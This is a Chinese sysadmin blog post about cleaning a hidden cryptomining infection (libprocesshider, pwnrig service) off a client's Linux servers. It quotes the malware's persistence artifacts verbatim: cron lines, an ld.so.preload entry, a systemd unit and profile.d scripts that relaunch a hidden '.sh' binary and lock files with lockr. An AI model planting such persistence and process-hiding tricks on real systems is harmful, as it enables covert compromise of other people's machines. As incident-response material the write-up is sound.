突然有人反應說客戶服務器使用有點卡,雖然是客戶的服務器,裏應當客戶**自己處理的,可是項目還沒完成,只有猥瑣發育,自己搞定唄,客戶是大哥啊。於是乎,立馬使用常規操作,登陸服務器查看資源使用情況,發現服務器的CPU的us值在70%左右,然而並沒有找到相關的CPU使用很高的進程,慌得一批,口吐芬芳。。。
問題分析:
1、首先排除應用程序問題,因爲服務器的使用人數並不多,不可能有這麼高的負載,而且如果是應用程序問題,肯定會顯示出CPU高使用的應用進程
2、後排除CPU硬件故障,因爲這個項目的幾臺服務器全都是這樣的,而且這幾臺服務器全都是新上的幾臺服務器
3、懷疑內核版本問題,因爲有人遇到過這種問題,果斷拿一臺做實驗,升級內核版本,重啓,然而並沒有搞定
4、最後只有鎖定病毒方面的問題,可是並沒有顯示高消耗的進程,應該是病毒將一些系統命令做了更改,無從着手的感覺,於是乎,百度。。。果然找到一個相同的問題:https://www.zhihu.com/question/59820313,終於可以確定最終的原因,病毒。。。
病毒處理常規步驟(之前一直這樣處理的):
1、病毒進程查詢
2、定時任務清理
3、自啓動清理
4、服務清理
5、kill進程
病毒進程查詢:
因爲病毒是個隱藏的病毒,top沒辦法找到進程,通過參考https://www.zhihu.com/question/59820313這篇問答,找出病毒程序
首先查詢是否有這個連接:netstat -anp
結果顯示:tcp 0 0 x.x.x.x:33708 91.121.140.167:3333 ESTABLISHED -
連接IP是91.121.140.167,進程名爲“-”,確認爲病毒程序
查詢文件:cat /etc/ld.so.preload
內容爲:/usr/local/lib/libprocesshider.so
因此,需要刪除/usr/local/lib/libprocesshider.so,清理/etc/ld.so.preload
清理文件時遇到報錯Operation not permitted,因爲文件被賦予了“i”權限,lsattr可以查看文件權限,可是查看權限時,報錯沒有lsattr命令,系統本身自帶了的,估計是病毒將命令改了,重新下載軟件包(e2fsprogs)安裝就是
查看文件權限:lsattr /usr/local/lib/libprocesshider.so
chattr更改權限,任然報錯沒有chattr,心態爆炸。。。
後面查看定時任務時,發現用的lockr +i授權,藉此配置權限,lockr -i /usr/local/lib/libprocesshider.so之後即可刪除文件
清理文件後,top即可看到搞事情的病毒進程命“.sh”
病毒清理:
定時任務清理:
查詢cron.d、cron.hourly、crontab目錄或文件的異常
/etc/cron.d/phps文件異常,內容*/10 * * * * root /sbin/httpss,直接刪除/etc/cron.d/phps、/sbin/httpss
lockr -i /etc/cron.d/phps
rm -rf /etc/cron.d/phps
lockr -i /sbin/https
rm -rf /sbin/https
/etc/crontab內容異常,清理異常任務
* * * * * root cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null
* * * * * root echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1
服務清理及自啓動清理:
/etc/rc.d/init.d/目錄下異常文件刪除:rm -rf selinux DbSecuritySpt
清理文件異常內容:/etc/rc.d/rc.local
/lib/systemd/system發現異常服務文件:vim pwnriglhttps.service
[Unit]
Description=.sh
Wants=network.target
After=syslog.target network-online.target
[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
Restart=always
KillMode=process
[Install]
WantedBy=multi-user.target
關閉pwnriglhttps.service服務:systemctl stop pwnriglhttps.service
systemctl disable pwnriglhttps.service
刪除文件:rm -rf pwnriglhttps.service
top或者ps查詢進程ID,kill進程,top查看資源使用恢復正常
最後刪除病毒文件:
rm -rf /usr/bin/.sh
rm -rf /bin/.sh
lockr -i /bin/.funzip
rm -rf /bin/.funzip
到此理應清理完畢,重啓系統,發現資源使用正常,然而ssh遠程登陸服務器後,病毒任然運行。。。
ssh登陸清理:
查詢/etc/profile文件
發現目錄/etc/profile.d/下出現異常文件:php.sh、supervisor.sh
查看內容:vim php.sh
#!/bin/bash
cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
/bin/.sh -c >/dev/null 2>&1
rm -rf -- .sh 2>/dev/null
vim supervisor.sh
#!/bin/bash
supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
supervisorctl reload >/dev/null 2>&1
/etc/.supervisor/supervisord.conf引用/etc/.supervisor/conf.d/123.conf
刪除php.sh、supervisor.sh、/etc/.supervisor/conf.d/123.conf、/etc/.supervisor/supervisord.conf
lockr -i php.sh supervisor.sh
rm php.sh supervisor.sh
lockr -i /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
rm /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
最後再次kill進程,刪除.sh文件
find / -name .sh
rm /etc/.sh /usr/bin/.sh
重啓服務器,測試ssh登陸服務器,資源使用正常,病毒處理完成
總結:
病毒處理大概思路:病毒進程名查看、定時任務查看、開啓啓動目錄查看、服務目錄查看、用戶登陸配置文件查看等,一般都是修改這些文件來達到入侵目的,還有系統命令的修改
如今病毒隱藏愈來愈深,愈來愈搞事情,所以建議從預防開始,注重病毒預防,中毒難受,嚴重導致數據丟失,無解。。。
-----------日常記錄---------------